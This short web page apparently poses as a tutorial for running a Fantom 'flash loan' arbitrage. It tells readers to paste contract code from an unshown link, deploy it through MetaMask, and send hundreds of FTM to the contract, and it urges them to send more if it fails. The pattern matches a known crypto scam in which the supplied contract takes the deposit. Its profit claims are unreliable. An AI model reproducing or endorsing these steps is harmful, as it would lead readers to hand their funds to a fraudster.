Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open 👉 from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file ftmFlashloan.sol and paste the Flash Loan Smart Contract Code link below.
👉 Smart Contract Code:
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.16
8. Click on the Solidity Compiler and then click the blue button “Compile ftmFlashloan.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – ftmFlashloan.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button.
12. 👉On “_TOKENNAME” TokenOne
13. 👉On “_TOKENSYMBOL” TOK
14. 👉On “_LOANAMOUNT” 10000
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send FTM to the deployed contract to initiate the swap 400 FTM (800 FTM up is better as you will get a bigger amount in each swap).
➡️ UPDATED GAS FEE REQUIREMENT: APPROX 400 – 1500 FTM is required to perform arbitrage successfully depending on gwei.
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet.
Note: if it doesn’t work with 400 FTM try to send another 400 FTM (800 is better), because fees may be different from day to day. (400 FTM for each 50000 FTM you are borrowing).
Avoid using very low amounts as contract may fail below 400 FTM.
Make sure to transfer your Funds out to another wallet when you’re done.
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